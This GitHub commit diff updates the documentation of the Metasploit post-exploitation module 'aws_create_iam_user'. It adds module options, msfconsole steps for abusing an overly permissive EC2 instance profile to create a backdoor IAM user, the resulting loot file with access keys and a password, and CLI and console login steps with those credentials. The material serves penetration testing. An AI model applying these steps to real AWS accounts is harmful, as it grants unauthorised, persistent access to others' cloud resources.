Skip to content

Commit e9ce622

Browse files
committed
Updated README
1 parent e0a06bb commit e9ce622

File tree

1 file changed

+51
-1
lines changed

1 file changed

+51
-1
lines changed

documentation/modules/post/multi/escalate/aws_create_iam_user.md

Lines changed: 51 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,11 @@ Active sessions
113113

114114
## Options
115115

116+
By default the module will:
117+
118+
* create a randomly named IAM user and group
119+
* generate API Keys and User password for after
120+
116121
In the event that the session'd AWS instance does not have an IAM role assigned
117122
to it with sufficient privileges, the following options can be used to provide
118123
specific authentication material:
@@ -127,6 +132,25 @@ The following options control the account that is being created:
127132
* `CREATE_API`: when true, creates API keys for this user
128133
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
129134

135+
```
136+
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
137+
msf post(aws_create_iam_user) > show options
138+
139+
Module options (post/multi/escalate/aws_create_iam_user):
140+
141+
Name Current Setting Required Description
142+
---- --------------- -------- -----------
143+
AccessKeyId no AWS access key
144+
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
145+
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
146+
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
147+
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
148+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
149+
SESSION 1 yes The session to run this module on.
150+
SecretAccessKey no AWS secret key
151+
Token no AWS session token
152+
153+
```
130154

131155
## Abusing an Overly Permissive Instance Profile
132156

@@ -136,7 +160,6 @@ overly permissive access. Once a session is established, we can load
136160
e.g., `SESSION 1` and run the exploit.
137161

138162
```
139-
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
140163
msf post(aws_create_iam_user) > set SESSION 1
141164
SESSION => 1
142165
msf post(aws_create_iam_user) > exploit
@@ -221,12 +244,39 @@ bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AK
221244
Information necessary to use the created account is printed to the screen and stored in loot:
222245

223246
```
247+
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
224248
{
225249
"UserName": "As56ekIV59OgoFOj",
226250
"GroupName": "As56ekIV59OgoFOj",
227251
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
228252
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
229253
"Password": "As56ekIV59OgoFOj",
230254
"AccountId": "xxx"
255+
```
256+
257+
These creds can be used to call the AWS API directly or you can login using the console.
258+
259+
Configuring the CLI:
260+
261+
```
262+
$ aws configure --profile test
263+
AWS Access Key ID [None]: AKIA...
264+
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
265+
Default region name [None]: us-west-2
266+
Default output format [None]: json
267+
```
268+
269+
Call the API, e.g., get the Account ID:
270+
271+
```
272+
$ aws iam --profile test list-account-aliases
273+
{
274+
"AccountAliases": [
275+
"Account_ID"
276+
]
231277
}
232278
```
279+
280+
Login via the console using the username and password:
281+
282+
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.

0 commit comments

Comments
 (0)